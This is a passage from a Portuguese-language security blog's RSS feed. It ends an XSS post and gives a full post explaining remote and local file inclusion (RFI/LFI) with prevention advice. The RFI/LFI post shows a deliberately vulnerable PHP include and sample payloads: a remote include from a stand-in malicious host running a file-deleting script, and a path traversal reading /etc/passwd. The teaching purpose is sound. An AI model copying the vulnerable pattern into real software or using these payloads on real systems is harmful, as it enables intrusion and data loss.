<blockquote><p>Supondo que o valor de $_POST[&#8216;conteudo&#8217;] fosse &#8220;&lt;p&gt;&lt;a href=&#8217;http://evil.com.br&#8217;&gt;Clique aqui para desconto&lt;/a&gt; &lt;b&gt;Corra tem que ser agora!!&lt;/b&gt;&lt;/p&gt;&#8221;, o resultado que seria retornado do strip_tags com as $tagsPermitidas seria &#8220;&lt;p&gt;&amp;lt;a href=&#8217;http://evil.com.br&#8217;&amp;gt;Clique aqui para desconto&amp;lt;/a&amp;gt; &lt;b&gt;Corra tem que ser agora!!&lt;/b&gt;&lt;/p&gt;&#8221; e assim sua entrada de dados vai ficar tratada e segura!</p></blockquote>
<p>Obrigado!</p>
<p>Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.</p>
<p>The post <a href="https://www.hiago.me/2017/04/30/seguranca-o-que-e-xss/">Segurança: O que é XSS?</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.hiago.me/2017/04/30/seguranca-o-que-e-xss/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">50</post-id>	</item>
		<item>
		<title>Segurança: O que é RFI / LFI?</title>
		<link>https://www.hiago.me/2017/04/29/seguranca-o-que-e-rfi-lfi/</link>
					<comments>https://www.hiago.me/2017/04/29/seguranca-o-que-e-rfi-lfi/#comments</comments>
		
		<dc:creator><![CDATA[Hiago Souza]]></dc:creator>
		<pubDate>Sat, 29 Apr 2017 21:24:50 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[prevenção]]></category>
		<category><![CDATA[rfi]]></category>
		<category><![CDATA[segurança]]></category>
		<guid isPermaLink="false">http://localhost/hiago/?p=62</guid>

					<description><![CDATA[<p>[wp_ad_camp_3] RFI/LFI, do inglês (Remote/Local File Include) é um tipo de vulnerabilidade de segurança para páginas na internet. Essa vulnerabilidade pode ser usada para explorar, interromper e até obter dados usando um serviço na internet, uma vez que o mesmo interprete a inclusão do código a partir de uma informação enviada pelo cliente diretamente para a &#8230;</p>
<p>The post <a href="https://www.hiago.me/2017/04/29/seguranca-o-que-e-rfi-lfi/">Segurança: O que é RFI / LFI?</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>[wp_ad_camp_3]</p>
<p>RFI/LFI, do inglês (Remote/Local File Include) é um tipo de vulnerabilidade de segurança para páginas na internet. Essa vulnerabilidade pode ser usada para explorar, interromper e até obter dados usando um serviço na internet, uma vez que o mesmo interprete a inclusão do código a partir de uma informação enviada pelo cliente diretamente para a aplicação.</p>
<h1>O Ataque!</h1>
<p>[wp_ad_camp_1]</p>
<p>O ataque ocorre quando o desenvolvedor faz a inclusão de arquivos, baseado em entradas dos usuários. Vamos colocar como exemplo, um formulário para selecionar o idioma de uma página:</p>
<blockquote><p>pagina.php</p></blockquote>
<pre class="brush: php; title: ; notranslate">
&lt;?php
   if(isset($_GET&#x5B;'idioma'))
        require_once($_GET&#x5B;'idioma']);
?&gt;
</pre>
<pre class="brush: xml; title: ; notranslate">


&lt;form method=&quot;GET&quot;&gt;
     &lt;select name=&quot;idioma&quot;&gt;
          &lt;option value=&quot;portugues.php&quot;&gt;Português&lt;/option&gt;
          &lt;option value=&quot;ingles.php&quot;&gt;Inglês&lt;/option&gt;
     &lt;/select&gt;
&lt;/form&gt;
</pre>
<p>Agora o php inclui um arquivo baseado na entrada do usuário, vamos ver alguns exemplos de entradas que poderiam causar dor de cabeça:</p>
<p>&nbsp;</p>
<blockquote><p>Exemplo de <strong>RFI</strong> (chamando um arquivo remoto&#8230;)</p>
<p>pagina.php?idioma=<b>http://malvado.exemplo.com.br/script-php-do-mal.txt?</b>. Agora imagine que o script-php-do-mal.txt contenha o seguinte conteúdo &#8220;@unlink(__DIR__ . &#8216;/pagina.php&#8217;);&#8221; pronto você acaba de perder seu script!</p></blockquote>
<blockquote><p>Exemplo de <strong>LFI</strong> (Chamando um arquivo local&#8230;)</p>
<p>pagina.php?idioma=<b>../../../../../etc/passwd%00?</b>. Você acaba de listar a senha de seus usuários UNIX online!</p></blockquote>
<p>&nbsp;</p>
<p><strong>Observação: </strong>Os exemplos acima são muitos comuns, e muitos provedores de hospedagem bloqueiam o acesso aos arquivos/url externas como citados nos exemplos. Os exemplos citados foram usados somente para mostrar possibilidades para exploração das falhas.</p>
<h1>Como se prevenir:</h1>
<p>[wp_ad_camp_2]</p>
<p>Caso você não seja o desenvolvedor e queira fazer uma precaução via servidor, você pode estar trabalhando com as configurações do PHP (ou do interpretador/linguagem que estiver usando), para isso desabilite a inclusão de URL&#8217;s no seu php.ini, para isso basta modificar o valor de allow_url_include para Off. No caso de LFI, o correto é o tratamento no próprio script (não fazendo uso de inclusões baseadas em informações de usuários), mas você pode se prevenir fazendo bom uso dos direitos que o próprio sistema operacional lhe oferece.</p>
<p>Obrigado!</p>
<p>Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.</p>
<p>The post <a href="https://www.hiago.me/2017/04/29/seguranca-o-que-e-rfi-lfi/">Segurança: O que é RFI / LFI?</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.hiago.me/2017/04/29/seguranca-o-que-e-rfi-lfi/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">62</post-id>	</item>
	</channel>
</rss>
